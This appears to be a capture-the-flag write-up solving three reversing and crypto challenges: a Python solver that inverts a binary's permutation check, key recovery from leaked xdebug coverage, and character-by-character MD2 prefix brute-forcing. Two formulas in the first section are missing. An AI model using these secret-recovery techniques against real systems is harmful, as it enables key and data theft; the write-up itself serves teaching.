ENO{W0W_D1D_1_JU5T_UNLUCK_4_N3W_SK1LL???}
check verify
User input is read using read() (up to 0xFF bytes), and the program first checks:
- Required length: 41 bytes
Two lookup tables are extracted from the decrypted blob:
- T1 = blob[0xA2 : 0xA2+41]
T2 = blob[0xCB : 0xCB+41]
An initial state byte is also derived:
- prev = blob[0xF9] ^ 0x77
Permutation-based check
The verification runs for 41 rounds. Each round selects an input index using a permutation function:
- idx = f1(edx, i) ^ T1[i]
It also computes an expected byte:
- expected = f3(edx, i) ^ T2[i]
A keystream byte is generated using an internal PRNG-like function:
- k = f2(r10, r15, r9)
The check condition is:

Since the equation is reversible, we can solve directly for cur:

Then update:
- prev = cur
Because idx forms a permutation of 0..40, filling buf[idx] = cur reconstructs the full input string.
(solve.py)
#!/usr/bin/env python3
from pathlib import Path
BIN_PATH = "./stackstrings_hard"
def rol32(x, r):
r &= 31
x &= 0xFFFFFFFF
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
def rol8(x, r=1):
x &= 0xFF
return ((x << r) | (x >> (8 - r))) & 0xFF
def xor_bytes(buf, off, key):
for i, b in enumerate(key):
buf[off + i] ^= b
def main():
data = Path(BIN_PATH).read_bytes()
# solve.md 기준으로 rodata 가 file offset 0x2000 부근에 존재
rodata = data[0x2000:0x2000 + 0x1DA]
def ro(addr, n):
# vaddr 0x2000 기준
return rodata[addr - 0x2000: addr - 0x2000 + n]
# xorps constants (16 bytes each)
C2010 = ro(0x2010, 16)
C2020 = ro(0x2020, 16)
C2030 = ro(0x2030, 16)
C2040 = ro(0x2040, 16)
C2050 = ro(0x2050, 16)
C2060 = ro(0x2060, 16)
C2070 = ro(0x2070, 16)
C2080 = ro(0x2080, 16)
C2090 = ro(0x2090, 16)
C20A0 = ro(0x20A0, 16)
blob = bytearray(ro(0x20E0, 0xFA))
# replicate runtime XOR-decrypt stages
blob[0] = 0x3D
xor_bytes(blob, 0x01, C2010)
xor_bytes(blob, 0x11, C2020)
xor_bytes(blob, 0x21, C2030)
xor_bytes(blob, 0x31, C2040)
xor_bytes(blob, 0x00, C2050)
xor_bytes(blob, 0x10, C2060)
xor_bytes(blob, 0x20, C2070)
xor_bytes(blob, 0x30, C2080)
blob[0x40] ^= 0x93
# prompt decrypt + undo (net effect cancels out)
xor_bytes(blob, 0x41, C2090)
xor_bytes(blob, 0x51, C20A0)
blob[0x61] ^= 0x34
blob[0x62] ^= 0xF7
xor_bytes(blob, 0x41, C2090)
xor_bytes(blob, 0x51, C20A0)
blob[0x61] ^= 0x34
blob[0x62] ^= 0xF7
# Extract parameters
n = (blob[0xF4] ^ 0xA7) & 0xFF
b5 = blob[0xF5] ^ 0x3A
b6 = blob[0xF6] ^ 0xD3
b7 = blob[0xF7] ^ 0x4B
b8 = blob[0xF8] ^ 0x13
r15 = (b8 << 24) | (b7 << 16) | (b6 << 8) | b5
prev = (blob[0xF9] ^ 0x77) & 0xFF
T1 = blob[0xA2:0xA2 + n]
T2 = blob[0xCB:0xCB + n]
# verifier helper funcs (from solve.md)
def idx_i(edx, i):
cl = i & 7
esi = rol32(edx ^ 0xEC8804A0, cl)
eax = (esi >> 16) ^ esi
esi2 = ((eax >> 8) ^ eax) & 0xFFFFFFFF
return esi2 & 0xFF
def exp_i(edx, i):
cl = i & 7
eax = rol32(edx ^ 0x19E0463B, cl)
ecx = (eax >> 16) ^ eax
eax2 = ((ecx >> 8) ^ ecx) & 0xFFFFFFFF
return eax2 & 0xFF
def k_i(r10, r9):
cl = r9 & 7
esi = rol32(r10 ^ r15, cl)
ecx = ((esi >> 15) ^ esi) & 0xFFFFFFFF
esi2 = ((ecx >> 7) ^ ecx) & 0xFFFFFFFF
return esi2 & 0xFF
# simulate verifier but solve backwards
out = [0] * n
edx = 0x9E3779B9
r9 = 0
r10 = 0xA97288ED
for i in range(n):
idx = (idx_i(edx, i) ^ T1[i]) & 0xFF
expected = (exp_i(edx, i) ^ T2[i]) & 0xFF
k = k_i(r10, r9)
cur = ((expected - rol8(prev)) & 0xFF) ^ k
out[idx] = cur
prev = cur
r9 = (r9 + 3) & 0xFFFFFFFF
r10 = (r10 + 0x85EBCA6B) & 0xFFFFFFFF
edx = (edx + 0x9E3779B9) & 0xFFFFFFFF
flag = bytes(out).decode()
print(flag)
if __name__ == "__main__":
main()
Coverup
ENO{c0v3r4g3_l34k5_s3cr3t5_really_g00d_you_Kn0w?}
Analysis
Encryption Structure
If you look at generate_challenge.php, the flow is clear:
xdebug_start_code_coverage(XDEBUG_CC_UNUSED | XDEBUG_CC_DEAD_CODE | XDEBUG_CC_BRANCH_CHECK);
$randomKey = FlagEncryptor::generateRandomKey(9); // 9-byte random key
$encryptor = new FlagEncryptor($randomKey);
$encrypted = $encryptor->encrypt($flag);
$coverage = xdebug_get_code_coverage(); // Coverage Storage
The encrypt() function in encrypt.php operates in three stages:
Step 1 (lines 46–1581): Key Byte → processedKeyAscii conversion
if ($keyChar == chr(49)) { // '1'
$processedKeyAscii = ord($keyChar) + 34; // 49 + 34 = 83
}
else if ($keyChar == chr(61)) { // '='
$processedKeyAscii = ord($keyChar) + 9; // 61 + 9 = 70
}
// ... 256 branches from chr(0) to chr(255)
Step 2: XOR Operation
$xored = chr(ord($plaintextChar) ^ ord($processedKey));
Step 3 (lines 1590–3125): XOR Result → finalAscii conversion
if ($xored == chr(0)) {
$finalAscii = ord($xored) + 26;
}
// ... likewise, 256 branches
Final Output
base64(processed) : sha1(processed)
Core Vulnerability: Code coverage leaks the key
xdebug coverage records which lines were executed. Among the 256 if-else branches in Step 1, the branches that were executed (value=1) represent the bytes included in the key. Since the key is 9 bytes, exactly 9 branches will be executed.
Solution
Step 1: Extracting key bytes from coverage
Check the executed lines of the Step 1 if-else chain in coverage.json:
chr(49)='1' → processedKeyAscii = 83
chr(61)='=' → processedKeyAscii = 70
chr(65)='A' → processedKeyAscii = 136
chr(68)='D' → processedKeyAscii = 101
chr(86)='V' → processedKeyAscii = 150
chr(108)='l' → processedKeyAscii = 174
chr(111)='o' → processedKeyAscii = 135
chr(112)='p' → processedKeyAscii = 188
chr(122)='z' → processedKeyAscii = 171
We have identified the 9 key bytes, but their order is unknown (9! = 362,880 permutations).
Step 2: Determining Key Order using Known Plaintext
Use the flag format ENO{…}. Since the key is used cyclically as key[i % 9]:
- Position 0 (E): By inverse operation, key[0] is confirmed.
- Position 1 (N): key[1] = p confirmed.
- Position 2 (O): key[2] = V confirmed.
- Position 3 ({): key[3] = z confirmed.
- 위치 48 (}): key[3] = z 재확인
Step 3: Brute-forcing the remaining key positions
The remaining 5 bytes {1, A, D, l, o} must be assigned to positions 4–8 (5!=120).
If we filter each candidate by asking, “Can all positions be decrypted into printable ASCII using this key?”:
key[4]: ['1', 'D']
key[5]: ['A', 'o']
key[6]: ['l'] ← Confirmed
key[7]: ['D'] ← Confirmed
key[8]: ['A', 'o']
As a result, there are only 2 valid key arrangements.
Step 4: Resolving Inverse Mapping Ambiguity
The inverse mapping in (Step 3 finalAscii -> xored) is not 1:1, meaning a single ciphertext byte can result in multiple plaintext candidates. Decrypting with the first key = pVz1AlDo yields:
ENO{c0[v]3r4g3_l34k5_s3cr3t5[_]really_g00[d]_[y]ou_Kn0w?}
Reading the Leetspeak as “coverage leaks secrets really good you know?” — the meaning is clearly understood, confirming the correct selection for the ambiguous positions.
Step 5: Verification
Re-encrypting the candidate flag with the same key results in a perfect match with both encrypted_flag.txt and the SHA1 checksum.
Hashinator
ENO{MD2_1S_S00_0ld_B3tter_Implement_S0m3Th1ng_ElsE!!}
Binary Overview
$ file challenge_final
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, with debug_info, not stripped
Symbol names follow the pattern _Achallenge_Afinal_*, _AChar_*, _ABUILTIN_*, init_Achallenge_Afinal, etc. This naming convention is characteristic of Lean 4, a functional programming language and theorem prover.
Identifying the Hash Algorithm
OUTPUT.txt contains 55 lines of 32-character hex strings. At first glance, they look like MD5 hashes, but none of them match MD5 of any single ASCII character.
The critical clue is the first hash: 8350e5a3e24c153df2275c9f80692773. This is the well-known MD2 hash of the empty string “”.
MD2 (RFC 1319) is an obsolete message digest algorithm from 1989 that produces 128-bit (32 hex char) hashes — fitting the “super old backup of a super old system” theme perfectly.
Understanding the Behavior
The binary computes MD2 hashes of progressively longer prefixes of the input:
| Line | Hash of | Value |
|---|---|---|
| 1 | "" (empty string) | 8350e5a3e24c153df2275c9f80692773 |
| 2 | flag[0] | 6bf156f1b6534f1ab59454344bd74c16 |
| 3 | flag[0:2] | 591a83751ad9849419fff2f134e18d55 |
| … | … | … |
| 55 | flag[0:54] (full flag) | 0b536eb9c62363f1c165ee709bbb0865 |
With 55 lines of output (including the empty string hash), the flag is 54 characters long.
Solution
Since each hash corresponds to an incrementally longer prefix, we can brute-force one character at a time:
- Start with an empty known prefix (verified by hash line 1)
- For position
i, try appending each printable ASCII character to the known prefix - Compute MD2 of the candidate string
- If it matches hash line
i+1, we found the correct character - Extend the known prefix and repeat
Solver Script
import hashlib
hashes = [
"8350e5a3e24c153df2275c9f80692773",
"6bf156f1b6534f1ab59454344bd74c16",
"591a83751ad9849419fff2f134e18d55",
"7df816d74efa91bd7b56d94ae4185c22",
"6f948d895aa7b60104a4488414a61ac9",
"7fb4021d7a232a0681d77c2be330b8cb",
"03a47a46960817f23332452a6aa5c5ab",
"27806c7b8ae7d4ca7e1a79b35877218b",
"71b78ed814cb338e1580453a18081258",
"d586abc55ac017ed37674fd19323be33",
"f1f7ba1c2652df15d5f400ae04547aba",
"4ce04419c490c44bfc3aba4963f4c8bf",
"43ec14ca4df022274c9393bf603e2d71",
"cfdce7cdbccae4f0d0d9f4c5654ffa82",
"3d93caf4c665a28c648953052de10aec",
"086e7de005d104ff9fb97954d8fa53e7",
"9e535b20d839efce78d6f8e8d0a1cb6b",
"d5407d3beac51200ad370251eeb73c1b",
"31bac0706098aeddeb75cc4722878c59",
"a11d2a165b280618a9412bb6ac2f47b8",
"9697f36c361431f67de83c4328985710",
"ff295026f5f4b07316da17ac5660bd3e",
"46a13d4e2fe53a5a2ca5c1c6594cfc6e",
"9443a9a3a8d86d76733a04285e7b90d2",
"4f47d56aac53a429d6cce7adae3500ba",
"892340d0fe013cd4c99770cea81dc607",
"666687b0b676f90d83d7bafcc6771303",
"85a076163dedc4446965f5251801fe10",
"91cacc9dae71ddf39df2b3731a9d5395",
"927ff0d6edcf7f22e265f347e79d27c9",
"bf5964e0f6a321484e76665985904551",
"9284f02d080efafb02206529a46e3bda",
"6a4c69ca8746bfbc17d75b0373c28450",
"3b7e2660a93f8e971887a31e48e85863",
"cfeec2f067bf35be45ce082ea1c47000",
"848ec1f32fc3d8ff0292b7dd031bf0e3",
"e01cfdb5234565b4b8d92fdde8dff8a1",
"d046f627215108fbbe12bf609b029293",
"50c053943356878ba1c8eac5f9901f41",
"4b50c45fcfa1a673c5e4f5a9fac6d26f",
"a4e5a101441292f4d771c8526681839f",
"fafb2950e121ae61c61d9b72046ba8a5",
"b32bec82a7bb2291bba950c43d3a19b7",
"451fd7f22320f7a120e1172651b2b833",
"0ad532e27bfc8ab66611db68390517e1",
"3f024a229083c0a87d399bbb01785d60",
"7dcf541bf7131be55072d884c3e5d054",
"6c18d448c85f4377fc11cfc80b895655",
"67ca187b815926b2a423a29bf0b0bfaa",
"3d8cfaae26e2e0b6b60285c4b97767a0",
"e95d388e6da8cafda9c86b0c255aae83",
"091f2cfea1342b5a64d03227bebd025a",
"a0adac6bcaee0e0eb0a8ce218f9c03b3",
"0b536eb9c62363f1c165ee709bbb0865",
]
known = ""
for i in range(1, len(hashes)):
target = hashes[i]
for c in range(32, 127):
candidate = known + chr(c)
h = hashlib.new("md2", candidate.encode()).hexdigest()
if h == target:
known = candidate
print(f"[{i:2d}] Found: {chr(c)} -> {known}")
break
else:
print(f"[{i}] FAILED!")
break
print(f"\nFlag: {known}")

Leave a Reply
Want to join the discussion?Feel free to contribute!